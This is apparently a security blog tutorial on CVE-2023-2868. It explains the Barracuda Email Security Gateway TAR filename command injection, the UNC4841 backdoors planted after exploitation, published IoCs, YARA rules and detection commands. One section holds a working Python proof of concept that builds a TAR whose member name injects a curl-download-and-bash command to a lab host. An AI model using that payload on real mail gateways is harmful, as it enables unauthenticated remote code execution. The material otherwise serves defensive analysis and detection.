tutorials · 8 min read
Barracuda ESG: the bug that forces you to replace the appliance
CVE-2023-2868 is a trivial command injection in the Email Security Gateway TAR parser. UNC4841 has been exploiting it since October 2022. Barracuda does not recommend patching — it recommends throwing the device out. We reproduce the malicious filename, walk through the buggy Perl path and review the IoCs published by Mandiant.
· Manuel López Pérez · tutorials

On 23 May 2023, Barracuda publishes an advisory for CVE-2023-2868 in the Email Security Gateway (ESG, physical appliance). Pre-auth command injection in the TAR parser the ESG runs while scanning attachments. CVSS 9.8. Exploited as zero-day by UNC4841 since 10 October 2022 — seven months before disclosure.
A week later, on 6 June, Barracuda does something unusual: it tells its customers the 23 May patch is not enough and recommends physically replacing the appliance, not patching. The reason is clear when you read the Mandiant report: the attacker reaches persistence so deep — .so modules loaded by the SMTP daemon, kernel rootkit, trojanised signed binaries — that the only clean path is reflashing from a verified source, which is not possible on a commercial appliance. Cheaper to throw it out and replace.
Lab: bug analysis with reference code taken from the reverse engineering published by Rapid7 and Mandiant. No execution against any production appliance.
The bug in a qx{} call
ESG (FreeBSD-based) runs a bsmtpd service that, on receiving an email with attachments, passes them through a pipeline of scanners. For .tar files, the Perl module Archive::Tar::Streamed enumerates members and for each name calls file(1) via qx{} to identify the MIME type before passing the content to the antivirus.
The responsible line, per the RE from Rapid7 and Mandiant on mod_scanner_attachment.pl:
sub scan_tar_archive {
my ($tar_path) = @_;
my $tar = Archive::Tar::Streamed->new($tar_path);
while (my $entry = $tar->next) {
my $name = $entry->name; # ← attacker-controlled
# MIME detection on the extracted member name
my $info = qx{file $name}; # ← BUG: direct interpolation into shell
# ...further AV scanning chain...
}
}qx{} (alias of the backtick `…` in Perl) spawns a /bin/sh -c to execute the command. The $name variable comes from the TAR header — where POSIX allows up to 100 bytes in the name field (or 256 with a PAX header, up to GBs with GNU long name) and does not impose any restriction on shell metacharacters.
If the name contains backticks, $(), ;, | or &, the shell interprets them. RCE as the scanner user — elevated privileges on the appliance firmware.
There’s no magic. It’s the textbook example of command injection via shell concatenation, in a security appliance that processes untrusted input by design.
Building the malicious TAR
Python’s tarfile lets you control the member name byte by byte. The pattern used by UNC4841 per Mandiant’s dissection uses backticks (more reliable than ; against the double-quoting behaviour of some file(1) versions):
# poc_cve_2023_2868.py — closed lab, controlled listener
import tarfile, io
CMD = 'curl -fsSL http://10.10.10.13/s.sh -o /tmp/s.sh && bash /tmp/s.sh'
# The filename is the payload. Backticks → shell expansion.
NAME = f'`{CMD}`.txt'
data = b'A' * 16 # irrelevant content
with tarfile.open('payload.tar', 'w') as tar:
info = tarfile.TarInfo(name=NAME)
info.size = len(data)
info.mode = 0o644
tar.addfile(info, io.BytesIO(data))
# Verify: tar -tvf payload.tar prints the name with backticks
# -rw-r--r-- 0 0 0 16 ... `curl -fsSL http://10.10.10.13/s.sh -o /tmp/s.sh && bash /tmp/s.sh`.txtReal vector: attach payload.tar to an email sent to any address protected by ESG. No session, no credentials, no need for the victim to open anything: it’s enough for the email to hit the gateway.
Mandiant documents variants with $(...) and with GNU long name extensions to get past the 100-byte POSIX header limit and inject longer commands. The final stager downloads one of the SALTWATER / SEASPY binaries from controlled infrastructure (see IoCs).
Why Barracuda says “throw it out”
After RCE, UNC4841 chains three main families:
- SALTWATER — C++ backdoor implemented as an Apache-style module of the SMTP daemon (
mod_udp.so,mod_rtf.so, etc.). Reverse shell, file transfer, port forwarding. Hooked viaLD_PRELOADor by direct module load intobsmtpd. - SEASPY — passive C backdoor that parses raw SMTP traffic and activates with a magic packet (a specific byte sequence in an SMTP session that triggers the bind shell). Persistence designed to survive reboots.
- SEASIDE — Lua, staging and light commands. Loaded via a patched
mod_require_helo.luamodule. - SANDBAR — kernel-module-level rootkit (
nfsd_stub.ko) that hides processes and connections.
What makes it serious isn’t the malware itself, it’s where it gets planted. UNC4841 modifies:
- The
/sbin/BarracudaMailServicebinary (trojanised on disk; the signed ELF is replaced with a version linked against the backdoor). .somodules loaded from paths that the 23 May patch does not recompile or replace.- Kernel modules in
/lib/modules/4.9.17-barracuda0/kernel/net/sunrpc/nfsd_stub.ko. - Cron jobs in
/etc/cron.hourly/{core,aacore,appcheck}.shand scripts in/etc/init.d/rc. - Named pipes in
/tmp/{p,p1,p7,b,t,ss}as the channel for the SEASPY bind shell.
Mandiant confirms cases where the actor kept access after the 23 May patch because the modules loaded at runtime are not replaced when the fix is applied. On 6 June Barracuda announces replacement-only: the only clean path is a physical swap of the appliance. For a company that sells security appliances, the announcement is reputationally expensive — they do it because there is no valid alternative.
YARA — rules published by Mandiant
Mandiant publishes a full family in its UNC4841 technical analysis (full text on the blog). Listed by family for disk hunting:
| Family | YARA rules |
|---|---|
| TAR exploit (CVE-2023-2868) | M_Hunting_Exploit_Archive_2, M_Hunting_Exploit_Archive_3, M_Hunting_Exploit_Archive_CVE_2023_2868 |
| SALTWATER | M_Hunting_Linux_SALTWATER_1, M_Hunting_Linux_SALTWATER_2, FE_Hunting_Linux_Funchook_FEBeta |
| SEASPY | M_Hunting_Linux_SEASPY_1 |
| SEASIDE | M_Hunting_Lua_SEASIDE_1 |
| SKIPJACK | M_Hunting_SKIPJACK_1, M_Hunting_Lua_SKIPJACK_2 |
| SEASPRAY | M_Hunting_Lua_SEASPRAY_1 |
| WHIRLPOOL | M_Hunting_Linux_WHIRLPOOL_1 |
Example rule for the malicious TAR, simplified (Mandiant’s official rule also covers encoding variants):
rule CVE_2023_2868_Tar_Shell_Metachar
{
meta:
author = "ironhackers — based on M_Hunting_Exploit_Archive_*"
description = "TAR member name with shell metacharacters (CVE-2023-2868)"
cve = "CVE-2023-2868"
strings:
$magic_ustar = "ustar"
// backticks, $() or pipes seen in the first 100 bytes of name field
$rx_meta = /[`$|;&][a-zA-Z0-9 \/\-\._]{4,}[`)]/
condition:
filesize < 5MB
and $magic_ustar
and $rx_meta
}UNC4841 IoCs — Mandiant + CISA selection
Mandiant publishes ~70 hashes, ~50 IPs and 8 domains. Representative selection per family:
Samples (MD5)
| MD5 | Filename | Family |
|---|---|---|
0d67f50a0bf7a3a017784146ac41ada0 | snapshot.tar | Malicious TAR (CVE-2023-2868) |
b601fce4181b275954e3f35b18996c92 | install_reuse.tar | SALTWATER install |
827d507aa3bde0ef903ca5dec60cdec8 | mod_udp.so | SALTWATER |
4ca4f582418b2cc0626700511a6315c0 | BarracudaMailService | SEASPY (trojanised binary) |
cd2813f0260d63ad5adf0446253c2172 | mod_require_helo.lua | SEASIDE |
87847445f9524671022d70f2a812728f | mod_content.lua | SKIPJACK |
35cf6faf442d325961935f660e2ab5a0 | mod_attachment.lua | SEASPRAY |
9033dc5bac76542b9b752064a56c6ee4 | nfsd_stub.ko | SANDBAR (kernel rootkit) |
Persistence (file paths)
| Path | Family |
|---|---|
/sbin/BarracudaMailService | SEASPY (trojanised executable) |
/etc/init.d/rc | SEASPY (persistence) |
/etc/cron.hourly/{core,aacore,appcheck}.sh | SEASPY (persistence) |
/lib/modules/4.9.17-barracuda0/kernel/net/sunrpc/nfsd_stub.ko | SANDBAR (kernel rootkit) |
/tmp/{p,p1,p7,b,t,ss} | Named pipes for reverse shell |
/mail/tmp/, /mail/mstore/, /usr/share/.uc/ | Staging and exfiltration |
Network IoCs (defanged; selection — full list in Mandiant)
| Type | Indicator | Notes |
|---|---|---|
| IP | 107.148.149[.]156, 137.175.19[.]25 | Peg Tech ASN, US hosting |
| IP | 192.74.226[.]142, 198.2.254[.]219 – 198.2.254[.]223 | Peg Tech, reused infra |
| Domain | bestfindthetruth[.]com, gesturefavour[.]com | C2 |
| Domain | singamofing[.]com, singnode[.]com, togetheroffway[.]com | C2 |
| Domain | goldenunder[.]com, troublendsef[.]com, fessionalwork[.]com | C2 |
Detection — commands on the appliance itself
If you have access to a compromised ESG (admin console → support shell) and need to confirm compromise before physical swap:
# 1) Known SEASPY persistence
ls -la /etc/init.d/rc /etc/cron.hourly/{core,aacore,appcheck}.sh 2>/dev/null
crontab -l 2>/dev/null; ls /etc/cron.d/ 2>/dev/null
# 2) SEASPY (trojanised) binary — compare against known-good per version
sha256sum /sbin/BarracudaMailService
# Suspicious strings in the binary (magic packet patterns)
strings /sbin/BarracudaMailService | grep -Ei 'tshell|backd|magic|bind|0xdeadbeef|pcap'
# 3) SANDBAR kernel rootkit — should not exist in a clean build
ls -la /lib/modules/*/kernel/net/sunrpc/nfsd_stub.ko 2>/dev/null
modinfo nfsd_stub 2>/dev/null
# 4) Reverse shell named pipes
ls -la /tmp/{p,p1,p7,b,t,ss} 2>/dev/null
# 5) Loaded .so modules, modified in the last 6 months
find /usr/lib /usr/local/lib /opt -name "*.so*" -mtime -180 \
-exec sha256sum {} \; 2>/dev/null
# 6) SALTWATER variants
find / -name "mod_udp.so" -o -name "mod_rtf.so" -o -name "mod_rft.so" 2>/dev/null
# 7) Exfil staging dirs with recent changes
find /mail/tmp /mail/mstore /usr/share/.uc -type f -mtime -180 2>/dev/null
# 8) Processes with RAW sockets (SEASPY uses libpcap-style sniffing)
lsof -nP 2>/dev/null | grep -E 'pcap|RAW'
# 9) Outbound connections to published IoCs
ss -tnp 2>/dev/null | grep -E '107\.148\.149\.156|137\.175\.19\.25|192\.74\.226\.142'Detection at the perimeter — SMTP telemetry
SEG / Defender for Office 365 logs with .tar or .tar.gz attachments whose inner listing contains metacharacters. Pseudo-rule hunt in KQL (Defender):
EmailAttachmentInfo
| where Timestamp > ago(365d)
| where FileName endswith ".tar" or FileName endswith ".tar.gz"
| join kind=inner EmailEvents on NetworkMessageId
| where RecipientEmailAddress endswith "@your-org.com"
| project Timestamp, SenderFromAddress, RecipientEmailAddress,
Subject, FileName, FileType, SHA256At the network level, any outbound from the ESG IP towards the listed CIDRs / IPs is a trust-inversion failure — the perimeter appliance talking to C2:
# pcap analysis (suricata / zeek) — look for ESG-range connections
tshark -r esg_pcap.pcapng -Y 'ip.src == 192.0.2.100 and tcp.flags.syn == 1' \
-T fields -e frame.time -e ip.src -e ip.dst -e tcp.dstport \
| sort -uAttribution
Mandiant attributes with high confidence to UNC4841, China-nexus. Operational markers:
- Targeting concentrated on entities of Chinese geopolitical interest: government, defence, telecom, US federal agencies, NGOs, UN bodies.
- C2 infrastructure reused from prior China-nexus campaigns (overlaps with APT41/APT31 but Mandiant treats it as its own cluster).
- Ability to maintain access over months without triggering detection — operational, not opportunistic.
- TTPs specific to PRC clusters: open-source tooling alongside custom malware, hands-on-keyboard after initial compromise, manual selection of mailboxes for exfil.
Barracuda confirms ~5% of the global ESG fleet compromised. Not massive, but the selection wasn’t random: UNC4841 picked targets, didn’t scan the catalogue.
Lessons
- Command injection via backtick /
qx{}/system($var)is still the most common pre-auth RCE bug in parsers that receive untrusted input. In 2023, in 2024 and in any year someone keeps calling a shell with concatenated strings. - A “secure” appliance isn’t secure by being one. It is by being maintained and by its update model. If the update doesn’t reach firmware or the modules loaded at runtime, an attacker with deep persistence wins.
- The “replace the hardware” signal instead of “patch” is operational. When a vendor asks for that, they’re saying their product has no recovery mechanism they can invoke remotely. Weigh this when picking a vendor.
- Months of undetected targeting against a perimeter appliance. If the organisation has a geopolitical target profile, the question isn’t am I patched?, it’s do I have telemetry on an appliance the vendor admits was compromised for 7 months?
References
- Mandiant, Barracuda ESG Zero-Day Vulnerability (CVE-2023-2868) Exploited Globally: https://cloud.google.com/blog/topics/threat-intelligence/barracuda-esg-exploited-globally
- Mandiant, Diving Deep into UNC4841 Operations Following Barracuda ESG Zero-Day Remediation: https://cloud.google.com/blog/topics/threat-intelligence/unc4841-post-barracuda-zero-day-remediation
- Rapid7, Total Compromise of Physical Barracuda ESG Appliances: https://www.rapid7.com/blog/post/2023/06/08/etr-cve-2023-2868-total-compromise-of-physical-barracuda-esg-appliances/
- Barracuda Trust Center: https://trust.barracuda.com/security/information/esg-vulnerability
- CISA, IOCs and guidance: https://www.cisa.gov/news-events/alerts/2023/08/29/cisa-releases-iocs-associated-malicious-barracuda-activity
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2023-2868


